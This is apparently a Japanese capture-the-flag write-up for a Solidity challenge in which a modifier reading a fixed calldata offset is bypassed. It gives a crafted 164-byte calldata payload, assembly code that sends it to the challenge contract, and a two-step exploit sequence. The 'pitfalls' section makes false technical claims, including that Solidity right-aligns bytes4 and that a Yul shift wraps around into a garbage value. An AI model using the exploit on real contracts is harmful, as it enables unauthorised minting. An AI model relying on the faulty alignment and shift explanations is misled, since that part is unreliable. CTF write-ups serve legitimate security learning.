Skip to content
On this page

S2C7: Calldata FTW

1. 問題

コントラクトには onlyMintFlag modifier があり、これは calldata[68:72] から 4 バイトを読み取り、それが mintFlag の関数セレクタと等しいことを要求します。このチェックをバイパスして mintFlag を呼び出す必要があります。

2. 原因

onlyMintFlag modifier は calldataload を使用して calldata の固定位置(オフセット 68)を直接読み取っており、Solidity の型システムを使用していません。ABI エンコードにおける bytes パラメータのオフセットを操作することで、mintFlag セレクタを calldata[68:72] に正確に配置できます。

3. 解決策

カスタム calldata を構築し、bytes パラメータの ABI オフセットが、modifier がチェックする位置がちょうど mintFlag の関数セレクタになるような位置を指すようにします:

calldata レイアウト (164 bytes):
[0:4]   = mint() セレクタ (0x7ba0e2e7)
[4:36]  = オフセット 0x7C (bytes data の位置を指す)
[36:68] = パディング
[68:72] = 0xe00d023f (mintFlag() セレクタ — modifier がここを読み取る!)
[72:128]= パディング
[128:160]= 0x04 (data length)
[160:164]= ターゲット関数セレクタ
solidity
function callWithPayload(address challenge, uint256 targetWord) internal {
    bytes memory payload = new bytes(164);
    assembly {
        let p := add(payload, 0x20)
        mstore(p, 0x7ba0e2e700000000000000000000000000000000000000000000000000000000) // mint sel + offset prefix
        mstore(add(p, 32), 0x0000007C00000000000000000000000000000000000000000000000000000000) // offset=0x7C + padding
        mstore(add(p, 64), 0x00000000e00d023f000000000000000000000000000000000000000000000000) // mintFlag sel at [68:72]
        mstore(add(p, 96), 0x0000000000000000000000000000000000000000000000000000000000000000)
        mstore(add(p, 128), 0x0000000000000000000000000000000000000000000000000000000000000004) // length=4
        mstore(add(p, 160), targetWord)
    }
    (bool ok,) = challenge.call(payload); require(ok);
}

2 ステップ実行

  1. mint()_data = allowMinter() で呼び出す → 攻撃者を allowed リストに追加
  2. mint()_data = mintFlag() で呼び出す → flag ミントをトリガー

4. 遭遇した落とし穴

落とし穴 4.1: Yul アセンブリでの shl(224, bytes4) が誤った結果を生成する

mintFlag のセレクタを計算する際、Yul アセンブリで shl(224, bytes4(selector)) を使用すると、結果が完全に誤ったものになります。

solidity
bytes4 target = bytes4(keccak256("allowMinter()")); // 0x0fd16506
bytes32 asmResult;
assembly { asmResult := shl(224, target) }
// asmResult = 0xb38b84bf... (誤り!)
// 期待値 = 0x0fd16506000... (正しい)

落とし穴 4.2: calldata オフセット計算

bytes パラメータの ABI オフセットは、mintFlag セレクタの calldata 内の位置 (68) を正確に指す必要があります。

落とし穴 4.3: forge create --broadcast が無効

forge create --broadcast は OP Mainnet 上で常に "Dry run enabled" と表示され、トランザクションをブロードキャストできません。

5. 落とし穴の原因

原因 5.1: Yul アセンブリにおける bytes4 のメモリレイアウト

Solidity では、bytes4 は右詰めです(32 バイトのスタックスロットの下位 4 バイトを占有)。しかし、Yul インラインアセンブリでは、bytes4 値は 32 バイトのスタックスロットの上位(左側)に配置されます。つまり左詰めです。

Solidity での bytes4(0x0fd16506):
  0x000000000000000000000000000000000000000000000000000000000fd16506
  (右詰め、下位 4 バイトを占有)

Yul アセンブリでの bytes4(0x0fd16506):
  0x0fd1650600000000000000000000000000000000000000000000000000000000
  (左詰め、上位 4 バイトを占有)

shl(224, bytes4_value) を実行すると:

  • 期待:右詰めの下位 4 バイトを左に 224 ビットシフト → セレクタが上位に到達
  • 実際:左詰めの上位 4 バイトを左に 224 ビットシフト → すべての意味のあるデータが範囲外に!上位がゴミデータになる
// Solidity レベル (正しい)
uint256(uint32(0x0fd16506)) << 224
= 0x0fd1650600000000000000000000000000000000000000000000000000000000

// Yul アセンブリ (誤り!)
shl(224, 0x0fd1650600000000000000000000000000000000000000000000000000000000)
= 0xb38b84bf0000000000000000000000000000000000000000000000000000000000
// (ゴミ!データが 256 ビット範囲外にシフトされてラップアラウンド)

原因 5.2: calldata オフセット

ABI エンコードにおける bytes 型のエンコード方法は:静的部分にオフセットを格納し、動的部分に length + data を格納します。オフセットはパラメータブロックの先頭からの相対オフセットです。modifier の読み取り位置がターゲットセレクタと正確に一致するように慎重に計算する必要があります。

原因 5.3: forge create のバグ

forge create --broadcast は OP Mainnet 上で既知の問題があり、ブロードキャストロジックが失敗する可能性があります。代わりに forge script を使用する必要があります。

6. 解決方法

解決 6.1: Yul での bytes4 操作を避ける

solidity
// 正しい方法:Solidity レベルで uint256 に変換
bytes4 selector = bytes4(keccak256("allowMinter()"));
uint256 targetWord = uint256(uint32(selector)) << 224;

// または事前計算値をハードコード
uint256 hardcoded = 0x0fd1650600000000000000000000000000000000000000000000000000000000;

本解決策ではハードコードされた事前計算値を使用してこの問題を完全に回避しています。

解決 6.2: 手動での calldata 構築

Solidity の ABI エンコードを使用せず、assembly 内で直接 164 バイトのペイロードを手動で構築します。

解決 6.3: forge script の使用

bash
forge script script/S2C7Deploy.s.sol --rpc-url $RPC --private-key $PK --broadcast

7. 技術的ポイント

ポイント説明
ABI calldata エンコードbytes 型のエンコードは静的部分にオフセット、動的部分に length + data を格納
calldataload バイパスcalldata を直接読み取る modifier は calldata 操作によってバイパス可能
Yul bytes4 アライメントの落とし穴アセンブリでは bytes4 は左詰めであり、シフト操作の結果が Solidity と異なる
カスタム calldataassembly mstore を使用して任意の calldata レイアウトを構築
forge create のバグOP Mainnet 上では forge create --broadcast は使用不可

コアコードsolutions/season2/Challenge7Solution.sol診断テストtest/Bytes4Shift.t.solデプロイスクリプトscript/S2C7Deploy.s.sol

Built with AiAda